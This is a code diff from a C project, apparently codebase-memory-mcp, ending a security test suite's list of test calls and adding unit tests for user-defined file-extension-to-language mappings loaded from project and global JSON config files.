RUN_TEST(shell_rejects_pipe);
|
||||
RUN_TEST(shell_rejects_ampersand);
|
||||
RUN_TEST(shell_rejects_backslash);
|
||||
RUN_TEST(shell_rejects_newline);
|
||||
RUN_TEST(shell_rejects_carriage_return);
|
||||
RUN_TEST(shell_rejects_null);
|
||||
RUN_TEST(shell_accepts_clean_path);
|
||||
RUN_TEST(shell_accepts_spaces);
|
||||
RUN_TEST(shell_accepts_dots_dashes);
|
||||
RUN_TEST(shell_accepts_empty);
|
||||
RUN_TEST(shell_rejects_quote_escape_attack);
|
||||
RUN_TEST(shell_rejects_command_substitution);
|
||||
RUN_TEST(shell_rejects_env_var_expansion);
|
||||
|
||||
/* SQLite authorizer */
|
||||
RUN_TEST(sqlite_blocks_attach_via_cypher);
|
||||
RUN_TEST(sqlite_blocks_attach_direct);
|
||||
RUN_TEST(sqlite_blocks_detach_direct);
|
||||
RUN_TEST(sqlite_allows_normal_queries);
|
||||
|
||||
/* SQL injection via Cypher */
|
||||
RUN_TEST(cypher_rejects_sql_injection_in_string);
|
||||
RUN_TEST(cypher_rejects_union_injection);
|
||||
|
||||
/* Path containment (POSIX only) */
|
||||
#ifndef _WIN32
|
||||
RUN_TEST(path_traversal_blocked);
|
||||
RUN_TEST(path_within_root_allowed);
|
||||
#endif
|
||||
|
||||
#ifndef _WIN32
|
||||
/* Shell-free subprocess execution */
|
||||
RUN_TEST(exec_no_shell_true_returns_zero);
|
||||
RUN_TEST(exec_no_shell_false_returns_nonzero);
|
||||
RUN_TEST(exec_no_shell_echo_with_metacharacters);
|
||||
RUN_TEST(exec_no_shell_nonexistent_command);
|
||||
RUN_TEST(exec_no_shell_null_argv_returns_error);
|
||||
RUN_TEST(exec_no_shell_captures_exit_code);
|
||||
#endif
|
||||
}
|
||||
@@ -0,0 +1,218 @@
|
||||
/*
|
||||
* test_userconfig.c — Tests for user-defined extension→language mappings.
|
||||
*
|
||||
* Tests cbm_userconfig_load(), cbm_userconfig_lookup(), and the
|
||||
* cbm_set_user_lang_config() / cbm_language_for_extension() integration.
|
||||
*/
|
||||
#include "../src/foundation/compat.h"
|
||||
#include "../src/foundation/compat_fs.h"
|
||||
#include "test_framework.h"
|
||||
#include "discover/discover.h"
|
||||
#include "discover/userconfig.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* ── Helpers ─────────────────────────────────────────────────────── */
|
||||
|
||||
/* Write a JSON file to path. Returns 0 on success. */
|
||||
static int write_json(const char *path, const char *json) {
|
||||
FILE *f = fopen(path, "w");
|
||||
if (!f) {
|
||||
return -1;
|
||||
}
|
||||
fputs(json, f);
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── Tests: project config ───────────────────────────────────────── */
|
||||
|
||||
TEST(userconfig_project_basic) {
|
||||
/* Write a .codebase-memory.json in a temp dir */
|
||||
char dir[256];
|
||||
snprintf(dir, sizeof(dir), "%s/uctest_proj_basic", cbm_tmpdir());
|
||||
cbm_mkdir_p(dir, 0755); /* from compat_fs.h via compat.h */
|
||||
|
||||
char proj[512];
|
||||
snprintf(proj, sizeof(proj), "%s/.codebase-memory.json", dir);
|
||||
ASSERT_EQ(
|
||||
write_json(proj, "{\"extra_extensions\":{\".blade.php\":\"php\",\".mjs\":\"javascript\"}}"),
|
||||
0);
|
||||
|
||||
cbm_userconfig_t *cfg = cbm_userconfig_load(dir);
|
||||
ASSERT_NOT_NULL(cfg);
|
||||
|
||||
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".blade.php"), CBM_LANG_PHP);
|
||||
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".mjs"), CBM_LANG_JAVASCRIPT);
|
||||
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".go"), CBM_LANG_COUNT); /* not in user config */
|
||||
|
||||
cbm_userconfig_free(cfg);
|
||||
remove(proj);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── Tests: global config ────────────────────────────────────────── */
|
||||
|
||||
TEST(userconfig_global_via_env) {
|
||||
/* Point XDG_CONFIG_HOME to a temp dir */
|
||||
char xdg_dir[256];
|
||||
snprintf(xdg_dir, sizeof(xdg_dir), "%s/uctest_global_xdg", cbm_tmpdir());
|
||||
|
||||
char app_dir[512];
|
||||
snprintf(app_dir, sizeof(app_dir), "%s/codebase-memory-mcp", xdg_dir);
|
||||
cbm_mkdir_p(app_dir, 0755);
|
||||
|
||||
char global_path[768];
|
||||
snprintf(global_path, sizeof(global_path), "%s/config.json", app_dir);
|
||||
ASSERT_EQ(
|
||||
write_json(global_path, "{\"extra_extensions\":{\".twig\":\"html\"}}"),
|
||||
0);
|
||||
|
||||
/* Set env var, load, restore */
|
||||
setenv("XDG_CONFIG_HOME", xdg_dir, 1);
|
||||
cbm_userconfig_t *cfg = cbm_userconfig_load(NULL); /* no project dir */
|
||||
unsetenv("XDG_CONFIG_HOME");
|
||||
|
||||
ASSERT_NOT_NULL(cfg);
|
||||
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".twig"), CBM_LANG_HTML);
|
||||
|
||||
cbm_userconfig_free(cfg);
|
||||
remove(global_path);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── Tests: project wins over global ────────────────────────────── */
|
||||
|
||||
TEST(userconfig_project_wins_over_global) {
|
||||
/* Global says .xyz → python; project says .xyz → rust */
|
||||
char xdg_dir[256];
|
||||
snprintf(xdg_dir, sizeof(xdg_dir), "%s/uctest_priority_xdg", cbm_tmpdir());
|
||||
|
||||
char app_dir[512];
|
||||
snprintf(app_dir, sizeof(app_dir), "%s/codebase-memory-mcp", xdg_dir);
|
||||
cbm_mkdir_p(app_dir, 0755);
|
||||
|
||||
char global_path[768];
|
||||
snprintf(global_path, sizeof(global_path), "%s/config.json", app_dir);
|
||||
ASSERT_EQ(
|
||||
write_json(global_path, "{\"extra_extensions\":{\".xyz\":\"python\"}}"),
|
||||
0);
|
||||
|
||||
char proj_dir[256];
|
||||
snprintf(proj_dir, sizeof(proj_dir), "%s/uctest_priority_proj", cbm_tmpdir());
|
||||
cbm_mkdir_p(proj_dir, 0755);
|
||||
|
||||
char proj_path[512];
|
||||
snprintf(proj_path, sizeof(proj_path), "%s/.codebase-memory.json", proj_dir);
|
||||
ASSERT_EQ(
|
||||
write_json(proj_path, "{\"extra_extensions\":{\".xyz\":\"rust\"}}"),
|
||||
0);
|
||||
|
||||
setenv("XDG_CONFIG_HOME", xdg_dir, 1);
|
||||
cbm_userconfig_t *cfg = cbm_userconfig_load(proj_dir);
|
||||
unsetenv("XDG_CONFIG_HOME");
|
||||
|
||||
ASSERT_NOT_NULL(cfg);
|
||||
/* Project definition (rust) must win */
|
||||
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".xyz"), CBM_LANG_RUST);
|
||||
|
||||
cbm_userconfig_free(cfg);
|
||||
remove(global_path);
|
||||
remove(proj_path);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── Tests: unknown language values are skipped ──────────────────── */
|
||||
|
||||
TEST(userconfig_unknown_lang_skipped) {
|
||||
char dir[256];
|
||||
snprintf(dir, sizeof(dir), "%s/uctest_unknown_lang", cbm_tmpdir());
|
||||
cbm_mkdir_p(dir, 0755);
|
||||
|
||||
char proj[512];
|
||||
snprintf(proj, sizeof(proj), "%s/.codebase-memory.json", dir);
|
||||
/* "klingon" is not a valid language; ".wasm" should be silently skipped */
|
||||
ASSERT_EQ(
|
||||
write_json(proj,
|
||||
"{\"extra_extensions\":{\".wasm\":\"klingon\",\".mjs\":\"javascript\"}}"),
|
||||
0);
|
||||
|
||||
cbm_userconfig_t *cfg = cbm_userconfig_load(dir);
|
||||
ASSERT_NOT_NULL(cfg);
|
||||
|
||||
/* .wasm with unknown lang → not in config */
|
||||
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".wasm"), CBM_LANG_COUNT);
|
||||
/* .mjs with valid lang → present */
|
||||
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".mjs"), CBM_LANG_JAVASCRIPT);
|
||||
|
||||
cbm_userconfig_free(cfg);
|
||||
remove(proj);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── Tests: missing files are silently ignored ───────────────────── */
|
||||
|
||||
TEST(userconfig_missing_files_ok) {
|
||||
/* Point to a non-existent repo dir */
|
||||
cbm_userconfig_t *cfg = cbm_userconfig_load("/tmp/__nonexistent_repo_12345__");
|
||||
ASSERT_NOT_NULL(cfg); /* must not return NULL — just empty */
|
||||
ASSERT_EQ(cfg->count, 0);
|
||||
cbm_userconfig_free(cfg);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── Tests: integration with cbm_language_for_extension ─────────── */
|
||||
|
||||
TEST(userconfig_integration_override) {
|
||||
/* Verify that setting the global config makes cbm_language_for_extension
|
||||
* respect the override. We map ".blade.php" → PHP, which is not in the
|
||||
* built-in table. */
|
||||
char dir[256];
|
||||
snprintf(dir, sizeof(dir), "%s/uctest_integ", cbm_tmpdir());
|
||||
cbm_mkdir_p(dir, 0755);
|
||||
|
||||
char proj[512];
|
||||
snprintf(proj, sizeof(proj), "%s/.codebase-memory.json", dir);
|
||||
ASSERT_EQ(
|
||||
write_json(proj, "{\"extra_extensions\":{\".blade.php\":\"php\"}}"),
|
||||
0);
|
||||
|
||||
cbm_userconfig_t *cfg = cbm_userconfig_load(dir);
|
||||
ASSERT_NOT_NULL(cfg);
|
||||
|
||||
/* Before setting, .blade.php is unknown */
|
||||
ASSERT_EQ(cbm_language_for_extension(".blade.php"), CBM_LANG_COUNT);
|
||||
|
||||
cbm_set_user_lang_config(cfg);
|
||||
/* After setting, .blade.php → PHP */
|
||||
ASSERT_EQ(cbm_language_for_extension(".blade.php"), CBM_LANG_PHP);
|
||||
/* Built-in extensions still work */
|
||||
ASSERT_EQ(cbm_language_for_extension(".go"), CBM_LANG_GO);
|
||||
|
||||
/* Clean up global state */
|
||||
cbm_set_user_lang_config(NULL);
|
||||
cbm_userconfig_free(cfg);
|
||||
remove(proj);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── Tests: free is NULL-safe ────────────────────────────────────── */
|
||||
|
||||
TEST(userconfig_free_null) {
|
||||
cbm_userconfig_free(NULL); /* must not crash */
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── Suite ──────────────────────────────────────────────────────── */
|
||||
|
||||
SUITE(userconfig) {
|
||||
RUN_TEST(userconfig_project_basic);
|
||||
RUN_TEST(userconfig_global_via_env);
|
||||
RUN_TEST(userconfig_project_wins_over_global);
|
||||
RUN_TEST(userconfig_unknown_lang_skipped);
|
||||
RUN_TEST(userconfig_missing_files_ok);
|
||||
RUN_TEST(userconfig_integration_override);
|
||||
RUN_TEST(userconfig_free_null);
|
||||
}
|
||||
Reference in New Issue
Block a user